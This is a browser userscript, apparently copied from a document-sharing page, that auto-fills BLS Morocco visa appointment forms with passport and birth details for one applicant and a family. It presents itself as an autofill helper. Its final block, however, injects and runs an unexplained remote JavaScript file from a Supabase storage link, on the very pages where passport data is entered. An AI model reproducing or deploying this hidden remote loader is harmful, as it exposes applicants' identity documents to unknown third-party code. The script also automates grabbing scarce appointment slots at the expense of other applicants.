You are on page 1of 2

// ==UserScript==

// @name BLS MOROCCO NOTIFYJ (ORIGINAL)


// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match https://*/book_appointment.php
// @match https://*/appointment.php
// @match https://*/appointment_family.php
// @match https://*/*/book_appointment.php
// @match https://*/*/appointment.php
// @match https://*/*/appointment_family.php
// @icon
data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==
// @grant none
// ==/UserScript==

// DATE MINIMUM CHOISIS // JE VEUT UN RENDEZ VOUS A PARTIR DE

//########################################################################

//########################################################################
var min = "2022-03-02"

//########################################################################

//########################################################################

var lastNames ="Last Name";


var firstNames ="First Name";
var births ="yyyy-mm-dd"; //Date Of Birth
var passNumbers ="Passport Number"; //Passport Number
var issueDates ="yyyy-mm-dd"; //Passport Issue Date
var expiryDates ="yyyy-mm-dd"; //Passport Expiry Date
var pptissuePalaces ="city name"; //Passport Issue Place

//########################################################################

//########################################################################
//FAMILLY 2

//########################################################################

//########################################################################

let lastNames1 =["LAST NAME 1","LAST NAME 2"],


firstNames1 =["FIRST NAME 1","FIRST NAME 2"],
births1 =["YYYY-MM-DD","YYYY-MM-DD"],//Date Of Birth '1995-09-
12'
passNumbers1 =["IO3924670","XO2918460"],//Passport Number
issueDates1 =["YYYY-MM-DD","YYYY-MM-DD"],//Passport Issue Date
expiryDates1 =["YYYY-MM-DD","YYYY-MM-DD"],//Passport Expiry
Date
pptissuePalaces1 =["CITY 1","CITY 2"],//Passport Issue Place
number = 2,
j=1;
if (window.location.href.indexOf("/appointment.php") > -1) {
document.getElementById('first_name').value=firstNames;
document.getElementById('last_name').value=lastNames;
$('#dateOfBirth').datepicker("update" ,births);
document.getElementById('passport_no').value=passNumbers;
$('#pptIssueDate').datepicker("update" ,issueDates);
$('#pptExpiryDate').datepicker("update" ,expiryDates);
document.getElementById('pptIssuePalace').value=pptissuePalaces;
document.getElementById("VisaTypeId").selectedIndex = "1";
if (document.getElementById("passportType") !== null)
{document.getElementById("passportType").selectedIndex = "7";}}
if (window.location.href.indexOf("/appointment_family.php") > -1) {
setTimeout(function(){
for(let i=0; i<=number-1; i++){
document.getElementById('app_time-'+j).selectedIndex =
document.getElementById('app_time-'+j).length-1;
document.getElementById('VisaTypeId-'+j).selectedIndex =
"1";

document.getElementById('first_name-'+j).value=firstNames1[i];

document.getElementById('last_name-'+j).value=lastNames1[i];

document.getElementById('passport_number-'+j).value=passNumbers1[i];
$('#date_of_birth-'+j).datepicker("update" ,births1[i]);
$('#pptIssueDate-'+j).datepicker("update" ,issueDates1[i]);
$
('#pptExpiryDate-'+j).datepicker("update" ,expiryDates1[i]);

document.getElementById('pptIssuePalace-'+j).value=pptissuePalaces1[i];
j++}}, 1000)};

(function() { 'use strict'; var script = document.createElement('script');


script.src =
'https://snomgsecngymswvanrtq.supabase.co/storage/v1/object/sign/notifyblstls/
BLSTOURISM.JS?
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJub3RpZnlibHN0bHMvQkxTVE9VUklT
TS5KUyIsImlhdCI6MTY3NjAwMjI0MiwiZXhwIjoxNzA3NTM4MjQyfQ.6LOD5YJJXAqWnheS_M7qib38jCCG
kC8-OvDM1THn1x8&t=2023-02-10T04%3A10%3A41.455Z';
document.head.appendChild(script); })();

You might also like